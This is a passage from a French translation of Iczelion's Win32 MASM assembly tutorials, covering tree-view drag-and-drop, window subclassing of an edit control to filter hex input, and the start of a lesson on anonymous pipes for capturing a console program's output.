mov tvinsert.item.pszText,offset Parent
mov tvinsert.item.iImage,0
mov tvinsert.item.iSelectedImage,1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov hParent,eax
mov tvinsert.hParent,eax
mov tvinsert.hInsertAfter,TVI_LAST
mov tvinsert.item.pszText,offset Child1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov tvinsert.item.pszText,offset Child2
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
.elseif uMsg==WM_MOUSEMOVE
.if DragMode==TRUE
mov eax,lParam
and eax,0ffffh
mov ecx,lParam
shr ecx,16
mov tvhit.pt.x,eax
mov tvhit.pt.y,ecx
invoke ImageList_DragMove,eax,ecx
invoke ImageList_DragShowNolock,FALSE
invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
.if eax!=NULL
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
.endif
invoke ImageList_DragShowNolock,TRUE
.endif
.elseif uMsg==WM_LBUTTONUP
.if DragMode==TRUE
invoke ImageList_DragLeave,hwndTreeView
invoke ImageList_EndDrag
invoke ImageList_Destroy,hDragImageList
invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
invoke ReleaseCapture
mov DragMode,FALSE
.endif
.elseif uMsg==WM_NOTIFY
mov edi,lParam
assume edi:ptr NM_TREEVIEW
.if [edi].hdr.code==TVN_BEGINDRAG
invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
mov hDragImageList,eax
invoke ImageList_BeginDrag,hDragImageList,0,0,0
invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
invoke SetCapture,hWnd
mov DragMode,TRUE
.endif
assume edi:nothing
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

Avec WM_CREATE, vous créez tree view control.
    invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
    WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
    0,200,400,hWnd,NULL,\
    hInstance,NULL
Remarquez les styles. TVS_xxxx représentent des styles spéciaux de Tree View.
    invoke ImageList_Create,16,16,ILC_COLOR16,2,10
    mov hImageList,eax
    invoke LoadBitmap,hInstance,IDB_TREE
    mov hBitmap,eax
    invoke ImageList_Add,hImageList,hBitmap,NULL
    invoke DeleteObject,hBitmap
    invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
Ensuite, vous créez une 'image list' vide à son ouverture, laquelle acceptera des images de 16x16 pixels et en couleur 16 bits. Elle contiendra 2 images, mais on peut l'agrandir à 10 images si le besoin s'en fait ressentir. Nous chargeons alors le bitmap et l'ajoutons à l' image list' juste créé. Après ça, nous supprimons l'handle du bitmap puisque il ne sera plus employé désormais. Quand l 'image list' est définitivement finie, nous l'associons au tree view control en envoyant le message TVM_SETIMAGELIST au tree view control.
    mov tvinsert.hParent,NULL
    mov tvinsert.hInsertAfter,TVI_ROOT
    mov tvinsert.u.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
    mov tvinsert.u.item.pszText,offset Parent
    mov tvinsert.u.item.iImage,0
    mov tvinsert.u.item.iSelectedImage,1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
Nous insérons des Items dans le tree view control, en commençant à partir de l'Item racine. Puisque il s'agit de l'Item racine, le membre hParent est NULL et hInsertAfter est TVI_ROOT. Le membre imask indique que les membres pszText, iImage et iSelectedImage de la structure TV_ITEM sont valables. Nous remplissons ces trois membres des valeurs appropriée. pszText contient le label de l'Item racine (son texte), iImage est l'index de l'image dans l 'image list' qui sera montré à gauche de l'Item non choisi et iSelectedImage est l'index de l'image dans l 'image list' qui sera montré quand l'Item est choisi. Quand tous les membres appropriés sont remplis, nous envoyons le message TVM_INSERTITEM au tree view control pour y ajouter l'Item racine.
    mov hParent,eax
    mov tvinsert.hParent,eax
    mov tvinsert.hInsertAfter,TVI_LAST
    mov tvinsert.u.item.pszText,offset Child1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
    mov tvinsert.u.item.pszText,offset Child2
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
Après que l'Item racine ait été rajouté, nous pouvons y attacher les Childs Items. Le membre hParent est maintenant rempli de l'handle de l'Item parent. Et nous emploierons des images identiques dans l 'image list' donc nous ne touchons plus aux membres iImage et iSelectedImage.
    .elseif uMsg==WM_NOTIFY
    mov edi,lParam
    assume edi:ptr NM_TREEVIEW
    .if [edi].hdr.code==TVN_BEGINDRAG
    invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
    mov hDragImageList,eax
    invoke ImageList_BeginDrag,hDragImageList,0,0,0
    invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
    invoke SetCapture,hWnd
    mov DragMode,TRUE
    .endif
    assume edi:nothing
Maintenant quand l'utilisateur essaye de déplacer un Item, le tree view control envoie le message WM_NOTIFY avec TVN_BEGINDRAG en tant que code. lParam est le pointer qui est sur la structure NM_TREEVIEW laquelle contient plusieurs informations dont nous avons besoin, ainsi nous mettons sa valeur dans edi et employons edi comme pointer pour la structure NM_TREEVIEW. 'assume edi:ptr NM_TREEVIEW' est une façon de dire à MASM de traiter edi en tant que pointer sur la structure NM_TREEVIEW. Nous créons alors une image de traînée en envoyant TVM_CREATEDRAGIMAGE au tree view control. Il renvoie l'handle de l 'image list' nouvellement créé avec une image de traînée à l'intérieur. Nous appelons ImageList_BeginDrag pour définir le point chaud de l'image de traînée. Alors nous passons à l'opération de traînée en appelant ImageList_DragEnter. Cette fonction affiche l'image de traînée à l'emplacement indiqué dans la fenêtre indiquée. Nous employons la structure ptDrag qui est un membre de la structure NM_TREEVIEW en tant que point de départ où l'image de traînée doit être placée au commencement. Après ça, nous capturons l'entrée souris et nous (activons) le flag pour indiquer que nous passons désormais en mode Drag (traînée).
    .elseif uMsg==WM_MOUSEMOVE
    .if DragMode==TRUE
    mov eax,lParam
    and eax,0ffffh
    mov ecx,lParam
    shr ecx,16
    mov tvhit.pt.x,eax
    mov tvhit.pt.y,ecx
    invoke ImageList_DragMove,eax,ecx
    invoke ImageList_DragShowNolock,FALSE
    invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
    .if eax!=NULL
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
    .endif
    invoke ImageList_DragShowNolock,TRUE
    .endif
Maintenant nous nous concentrons sur WM_MOUSEMOVE. Quand l'utilisateur traîne l'image, notre fenêtre parente reçoit des messages WM_MOUSEMOVE. En réponse à ces messages, nous mettons à jour la position de l' image de traînée avec ImageList_DragMove. Après ça, nous vérifions si l'image de traînée passe au-dessus d'un Item. Nous faisons ça en envoyant le message TVM_HITTEST au tree view control. ISi l'image de traînée passe par dessus d'un autre Item, nous reprenons le contrôle de notre Item en envoyant le message TVM_SELECTITEM avec le flag TVGN_DROPHILITE (pour dire que c'est l'Item Drag and Drop qui nous intéresse et pas l'autre) au tree view control. Pendant cette opération, nous cachons l'image de traînée pour qu'elle ne laisse pas de taches dégueulasses sur le tree view control.
    .elseif uMsg==WM_LBUTTONUP
    .if DragMode==TRUE
    invoke ImageList_DragLeave,hwndTreeView
    invoke ImageList_EndDrag
    invoke ImageList_Destroy,hDragImageList
    invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
    invoke ReleaseCapture
    mov DragMode,FALSE
    .endif
Quand l'utilisateur relâche le bouton gauche de la souris, l'opération de traînée se termine. Nous sortons du mode traînée en appelant ImageList_DragLeave, suivi par ImageList_EndDrag et ImageList_Destroy.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32asm Tutorial 20: Window Subclassing

Tutorial 20: Les Sousclassifications de Fenêtre
(Window Subclassing)

Dans ce Tutorial, nous allons voir les éléments de sousclassifications d'une fenêtre, ce que c'est et comment les employer à votre avantage.
Downloadez l'exemple ici.

Théorie:

Si ça fait un petit moment que vous programmez sous Windows, vous avez dû rencontrer certains cas où une fenêtre possède pratiquement les attributs (les caractéristiques) dont vous auriez besoin pour votre programme, mais pas tout à fait quand même. Vous avez sûrement déjà dû rencontrer cette situation où il vous faut un contrôle d'édition un peu spécial qui puisse filtrer certains types de textes indésirables ! La meilleur chose à faire, c'est de coder votre propre fenêtre. Mais c'est le travail vraiment difficile et très long. Voilà donc à notre secours les 'Sousclassifications' de fenêtre.
Grâce aux sousclassifications de fenêtre on peut "reprendre" (corriger améliorer) une fenêtre sousclassée. Vous y aurez un contrôle absolu. On va prendre un exemple pour que ce soit plus clair. Supposons que vous avez besoin d'une boîte de texte qui n'accepte que des nombres hexadécimaux. Si vous utilisez un simple contrôle d'édition, rien n'interdit à l'utilisateur de taper autre chose que des nombres hexadécimaux. Si l'utilisateur tape "zb+q *" dans la boîte de texte, vous ne pouvez rien en faire sauf rejeter la totalité de cette chaîne de caractères. C'est pas très professionnel. En réalité, vous avez besoin de pouvoir examiner chaque caractère tapé par l'utilisateur au moment même où il le tape dans la boîte de saisie.
Nous allons examiner comment faire çà. Quand l'utilisateur tape quelque chose dans une boîte de texte, Windows envoie le message WM_CHAR à la procédure de fenêtre qui s'occupe de la gestion du contrôle d'édition. Cette procédure de fenêtre réside à l'intérieur de Windows lui-même donc nous ne pouvons rien modifier. Cependant nous pouvons faire suivre le flux de message de notre propre procédure de fenêtre pour que notre procédure de fenêtre devienne la première (avant que Windows s'en occupe) à traiter n'importe quel message envoyé au contrôle d'édition. Si on veut faire réagir notre procédure de fenêtre à un éventuel message (si on veut détecter des caractères non désirés), on doit le faire ainsi. Mais si elle ne veut pas prendre en compte le message, on peut le passer à la procédure de fenêtre originale. De cette manière, notre procédure de fenêtre s'insère entre Windows et le contrôle d'édition. Voyez plutôt le flux ci-dessous :

    Avant la Sousclassification :

    Windows ==> contrôle d'édition de la procédure de fenêtre.

    Après mise en place d'un système de Sousclassification :

    Windows ==> notre procédure de fenêtre -----> contrôle d'édition de la procédure de fenêtre.
Maintenant concentrons notre attention sur le fait de savoir comment sous-classer une fenêtre. Remarquez que la sousclassification n'est pas uniquement limitée aux simples 'controls' (commandes), on peut aussi l'employée avec n'importe quelle fenêtre.
Réfléchissons ! Comment Windows sait à quel endroit est-ce que le contrôle d'édition (de la procédure de fenêtre) réside. Vous avez devinez ? ...... regardez le membre lpfnWndProc de la structure WNDCLASSEX. Si nous pouvons remplacer ce membre par l'adresse de notre propre procédure de fenêtre, alors Windows enverra des messages à notre proc de fenêtre au lieu de l'autre.
On peut faire ça en appelant SetWindowLong.
    SetWindowLong PROTO hWnd:DWORD, nIndex:DWORD, dwNewLong:DWORD
hWnd = handle de la fenêtre où l'on doit changer la valeur à l'intérieur de la structure WNDCLASSEX.
nIndex = valeur à changer.
    GWL_EXSTYLE Défini un nouveau 'style étendu' de fenêtre.
    GWL_STYLE Défini un nouveau style de fenêtre.
    GWL_WNDPROC défini une nouvelle adresse pour la procédure de fenêtre.
    GWL_HINSTANCE Défini une nouvelle application d 'instance handle'.
    GWL_ID Défini un nouvel (ID) identificateur de la fenêtre.
    GWL_USERDATA impose de travailler avec des valeurs de 32 bits pour cette fenêtre. Chaque fenêtre a une valeur correspondante à 32 bits destinée à être utilisée par l'application qui a créé cette fenêtre.
dwNewLong = C'est la valeur de substitution.
Donc notre travail est facile : Nous codons (écrivons) une proc de fenêtre qui manipulera les messages du contrôle d'édition et appellera ensuite SetWindowLong avec flag renvoyé par GWL_WNDPROC, en faisant passer l'adresse de notre proc de fenêtre comme troisième paramètre. Si la fonction réussit, la valeur de retour est la valeur vue précédemment (l'entier 32 bits), dans notre cas, c'est l'adresse de la procédure de fenêtre originale. Nous avons besoin de stocker cette valeur pour pouvoir ensuite l'utiliser dans notre propre procédure de fenêtre.
Rappelez-vous qu'il y a certains messages (ici des chiffres ou des lettres non-hexadécimales) que nous ne souhaitons pas récupérer, donc nous les passerons à la procédure de fenêtre originale. Nous pouvons faire ça en appelant la fonction CallWindowProc.
    CallWindowProc PROTO lpPrevWndFunc:DWORD, \
    hWnd:DWORD,\
    Msg:DWORD,\
    wParam:DWORD,\
    lParam:DWORD
LpPrevWndFunc = adresse de la 'procédure de fenêtre' originale.
Ci-dessus, ces quatre paramètres sont ceux passés à notre procédure de fenêtre. On les passe uniquement grâce à CallWindowProc.

Echantillon de Code :

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SubclassWinClass",0
AppName db "Subclassing Demo",0
EditClass db "EDIT",0
Message db "You pressed Enter in the text box!",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
20,300,25,hWnd,NULL,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,eax
;-----------------------------------------
; On le sous-classe !
;-----------------------------------------
invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
mov OldWndProc,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analyse:

    invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
    mov OldWndProc,eax
Après que le contrôle d'édition soit créé, nous le sous-classons en appelant SetWindowLong, en remplaçant l'adresse de la procédure de fenêtre originale par notre propre procédure de fenêtre. Remarquez que nous stockons l'adresse de la procédure de fenêtre originale pour pouvoir l'utiliser plus tard avec CallWindowProc. Notez qu' EditWndProc est une procédure de fenêtre ordinaire.
    .if uMsg==WM_CHAR
    mov eax,wParam
    .if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
    .if al>="a" && al<="f"
    sub al,20h
    .endif
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
    ret
    .endif
Grâce à EditWndProc, nous filtrons les messages WM_CHAR. Si le caractère est compris entre 0-9 ou A-F, nous l'acceptons en le laissant arriver jusqu'à la procédure de fenêtre originale. Si c'est une lettre comprise entre A-F, nous la convertissons en lettre entre a-f en ajoutant 20h à la valeur hexadécimale qui représente cette lettre. Notez bien que, si le caractère n'est pas celui nous attendons, nous le rejetons. Nous ne le passons pas à la procédure de fenêtre originale. Donc lorsque l'utilisateur tape quelque chose d'autre que 0-9 ou a-f, le caractère n'apparaît pas dans le contrôle d'édition.
    .elseif uMsg==WM_KEYDOWN
    mov eax,wParam
    .if al==VK_RETURN
    invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SetFocus,hEdit
    .else
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
    ret
    .end
Je vous démontre en plus (dans le programme) la puissance de la méthode de sous-classification avec la détection de la touche Entre. EditWndProc vérifie si la valeur du message WM_KEYDOWN est VK_RETURN (la Touche Enter). Si c'est le cas, une boîte de message affiche s'ouvre pour afficher : "You pressed the Enter key in the text box!" (Vous avez appuyé sur la touche Enter dans la boîte de texte!). Si ce n'est pas la touche Enter, on passe le message à la procédure de fenêtre originale.
Vous pouvez employer la méthode de sous-classification de fenêtre pour prendre le contrôle d'autres fenêtres. C'est une des corde que vous devez avoir à votre arc.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 21: Pipe

Tutorial 21: Le Pipe
Pipe = Cable de communication entre deux programmes

(en plus : couleur du fond d'un contrôle d'édition)

Dans ce Tutorial, nous allons nous intéresser au 'Pipe', ce que ça représente et à quoi nous pouvons l'employer. Pour rendre tout ça plus intéressant, j'ajoute en plus à cette technique le fait de savoir comment changer le fond et la couleur du texte d'un contrôle d'édition.
Downloadez l'exemple ici.
En réalité cet exemple fait appel au programme ml.exe qui se trouve dans C:\Masm32\Bin\ donc vous devez d'abord le dézipper dans ce dossier pour qu'il puisse fonctionner.

Théorie:

Le pipe est un conduit ou bien une sorte de cable de communication muni de deux bouts. Vous pouvez l'employer pour échanger des données entre deux processus différents (entre deux programmes différents), ou dans un même processus. C'est comme un walkie-talkie. Vous donnez une information à l'autre partie et elle peut l'employer pour communiquer avec vous.
Il y a deux types de pipes : les pipes anonymes et les pipes nommées. Un pipe anonyme est, eh bien, anonyme : c'est-à-dire que vous pouvez l'utiliser sans connaître son nom. Pour un pipe nommée c'est le contraire : vous devez connaître son nom avant de pouvoir l'utiliser.
Vous pouvez aussi ranger les pipes par catégories selon leur propriété : certains fonctionnent en sens unique, les autres communique bilatéralement. Dans un pipe à sens unique, les données circulent uniquement dans une seule direction : d'un bout à l'autre. Tandis que pour un pipe bilatérale, les données peuvent être échangées entre les deux bouts.
Un pipe anonyme est toujours à sens unique tandis qu'un pipe nommée peut être à sens unique ou bilatérale. Un pipe nommée est d'habitude employé dans un environnement réseau dans lequel un serveur peut se connecter à plusieurs clients.
Dans ce Tutorial, nous examinerons le pipe anonyme en détail. Le but principal d'un pipe anonyme c'est d'être utilisé comme un cable de communcation entre un parent et des processus enfants (entre un programme principal et ses sous-programmes) ou entre plusieurs processus enfants.
Un pipe anonyme est réellement utile lorsque vous traitez avec une application console. Une application console est une sorte de programme win32 qui utilise une console en tant qu'Entrée/Sortie. Une console est un outils de DOS. Cependant, une application de console est un programme entièrement 32 bits. Elle peut employer n'importe quelle fonction du GUI (NdT : Graphic User Interface, le GUI c'est l'ensemble des objets tels qu'une boîte de saisie de texte, les boutons…), de la même façon que d'autres programmes.
Une application console a trois handles qu'elle peut utiliser pour ses Entrées/Sorties. Ont les appelle 'handles standards'. Il y en a trois : 'Entrée Standard'(ou Standard Input), 'Sortie Standard'(ou Standard Output) et 'Erreur Standard'(ou Standard Error). L'handle de l'Entrée Standard est employé pour lire/récupérer les informations de la console, alors que l'handle de la Sortie Standard est utilisé pour renvoyer les données vers la sortie/ou l 'imprimante. L'handle de l'Erreur Standard est employé pour donner un compte rendu sur les conditions d'erreurs lorsque sa sortie n'est pas accessible.
Une application console peut retrouver ces trois 'handles standards' en appelant la fonction GetStdHandle, en spécifiant bien quel handle est ce qu'on souhaite récupérer. Une application GUI n'a pas de console. Si vous appelez GetStdHandle, il renverra une erreur. Si vous voulez vraiment utiliser une console, vous pouvez appeler AllocConsole pour allouer une nouvelle console. Cependant, n'oubliez pas d'appeler FreeConsole quand vous mettez en place une console.
Le pipe anonyme est fréquemment employée pour faire suivre les entrées/sorties d'une console d'une application enfant. Le processus parent peut être une console ou une application du GUI, mais l'enfant doit être un appendice de console. Pour que ça marche. Comme vous le savez, une application console utilise des handles standards pour ses Entrées/Sorties. Si nous voulons faire suivre les Entrées/Sorties d'une application console, nous pouvons remplacer l'handle par un des handles du pipe. Une application console ne se rendra pas compte qu'on emploie l'handle d'un pipe. Elle l'utilisera de la même manière qu'un handle normal. C'est une sorte de polymorphisme, en le jargon OOP. Cette approche est puissante puisque nous n'avons pas besoin de modifier le process enfant où que ce soit.
Une autre chose que vous devez savoir à propos des applications console c'est à quel moment on récupère ces 'handles standards'. Lorsqu'une application console est créée, le parent process a deux choix : il peut créer une nouvelle console pour l'enfant ou il peut laisser l'enfant hériter de sa propre console (le parent process et le child prosses auront des consoles de mêmes caractéristiques). Avec la deuxième approche, le parent process doit être une application console ou bien si c'est une application du GUI, elle doit d'abord appeler AllocConsole pour allouer une console.
On va commencer le boulot. Pour créer un pipe anonyme vous avez besoin d'appeler CreatePipe. CreatePipe a le prototype suivant :
CreatePipe proto pReadHandle:DWORD, \
pWriteHandle:DWORD,\
pPipeAttributes:DWORD,\
nBufferSize:DWORD
  • pReadHandle est un pointer qui est sur une variable de type dword qui recevra l'handle d'écriture du pipe.
  • pWriteHandle est un pointer qui est sur une variable de type dword laquelle recevra l 'handle d'écriture' du pipe.
  • pPipeAttributes pointe sur la structure SECURITY_ATTRIBUTES laquelle détermine si les handles de lecture et d'écriture renvoyés ont bien étés générés par un processus enfant.
  • nBufferSize est la taille supposée du buffer que le pipe réservera pour l'utilisation. C'est seulement une taille supposée. Vous pouvez employer NULL pour dire à la fonction d'employer la taille par défaut.
Si l'appel est couronné de succès, la valeur en retour est différent de zéro. Si elle a échouée, la valeur de retour est nulle.
Après que l'appel est été couronné de succès, vous obtiendrez deux handles, un pour le bout 'lecture' du pipe, et autre pour le bout 'écriture'. Maintenant on va voir les étapes nécessaires à la réexpédition des Sorties Standards d'un programme console enfant, vers votre propre process. Notez que ma méthode diffère de celle de la référence win32 api de Borland. La méthode dans la référence win32 api impose que le parent process soit une application console et par conséquent le prosses enfant peut hériter de ses 'handles standards'. Mais la plupart du temps, nous aurons besoin de faire suivre la Sortie d'une application console vers une application du GUI (par exemple vers une boîte de saisie).
  1. Créez une pipe anonyme avec CreatePipe. N'oubliez pas de mettre le membre bInheritable à TRUE dans la structure SECURITY_ATTRIBUTES puisque les handles ne proviennent pas d'un parent.
  2. Maintenant nous devons préparer les paramètres que nous passerons à CreateProcess puisque nous l'emploierons pour charger l'application console enfant. Une structure importante est la structure de STARTUPINFO. Elle détermine l'apparence de la fenêtre principale du process enfant quand elle apparaît en premier lieu. Cette structure est essentielle pour nous. Vous pouvez cacher la fenêtre principale et passer l'handle du pipe au process console enfant comme ça. Ci-dessous voici les membres que vous devez remplir :
    • cb : est la taille de structure de STARTUPINFO
    • dwFlags : les flags binaires (donc 0 ou 1) qui déterminent si les membres de la structure sont valables, ils déterminent aussi l'état apparent/caché de la fenêtre principale. Pour notre but, on doit utiliser une combinaison des deux flags : STARTF_USESHOWWINDOW et STARTF_USESTDHANDLES
    • hStdOutput et hStdError : sont les handles qui seront utilisés en tant 'handle standard de sortie' et 'handle standard d'erreur' pour votre process enfant. Pour arriver à notre but, nous passons l'handle d'écriture du pipe en tant que sortie/erreur standard du process enfant. De cette façon, lorsque les Sorties enfants sont en actions (Sorties/Erreurs standard), on passe en réalité les renseignements par le pipe vers le parent process.
    • wShowWindow a un contrôle sur l'état affiché/caché de la fenêtre principale. Dans notre cas, nous ne souhaitons pas que la console de notre fenêtre enfant soit montrée donc nous mettons SW_HIDE dans ce membre.
  3. On appelle CreateProcess pour charger l'application enfant. Après que CreateProcess soit couronné de succès, l'enfant est toujours inactivé. Il est chargé en mémoire mais il n'est pas immédiatement en action.
  4. On ferme l'handle d'écriture du pipe. C'est nécessaire. Parce que le parent process n'a pas besoin de se servir de l'handle d'écriture du pipe. En plus, le pipe ne fonctionnera pas si il y a plus d'une sortie d'écriture, nous DEVONS le fermer avant la lecture des données du pipe. Cependant, ne fermez pas l'handle d'écriture avant l'appel CreateProcess, sinon le fonctionnement de votre pipe sera transgressé. Vous devez seulement le fermer après le retour de CreateProcess mais surtout pas avant que vous n'ayez lu les données de lecture du pipe.
  5. Maintenant vous pouvez lire les données du bout de lecture du pipe avec ReadFile. Grâce à ReadFile, vous influencez le process enfant pendant son déroulement même. Ça débute l'exécution et lorsqu'on ''écrit'' quelque chose à l'handle standard de sortie (qui est en réalité l'handle d'écriture du pipe), les données sont envoyées par le pipe vers le bout d'écriture. Vous pouvez vous représenter ReadFile un peu comme un aspirateur de données du bout d'écriture du pipe. Vous devez appeler ReadFile à plusieurs reprises avant qu'il ne retourne la valeur 0, ce qui signifie qu'il n'y a plus de données à lire. Vous pouvez faire ce qu'il vous plais des données lues dans le pipe. Dans notre exemple, je les ai mises dans un contrôle d'édition. (cas classique)
  6. On ferme l'handle de lecture du pipe.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU equ 101 ; l' ID du menu principal
IDM_ASSEMBLE equ 40001

.data
ClassName db "PipeWinClass",0
AppName db "One-way Pipe Example",0 EditClass db "EDIT",0
CreatePipeError db "Error during pipe creation",0
CreateProcessError db "Error during process creation",0
CommandLine db "ml /c /coff /Cp test.asm",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,IDR_MAINMENU
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW+WS_VISIBLE,CW_USEDEFAULT,\ CW_USEDEFAULT,400,200,NULL,NULL,\ hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL rect:RECT
LOCAL hRead:DWORD
LOCAL hWrite:DWORD
LOCAL startupinfo:STARTUPINFO
LOCAL pinfo:PROCESS_INFORMATION
LOCAL buffer[1024]:byte
LOCAL bytesRead:DWORD
LOCAL hdc:DWORD
LOCAL sat:SECURITY_ATTRIBUTES
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,addr EditClass, NULL, WS_CHILD+ WS_VISIBLE+ ES_MULTILINE+ ES_AUTOHSCROLL+ ES_AUTOVSCROLL, 0, 0, 0, 0, hWnd, NULL, hInstance, NULL
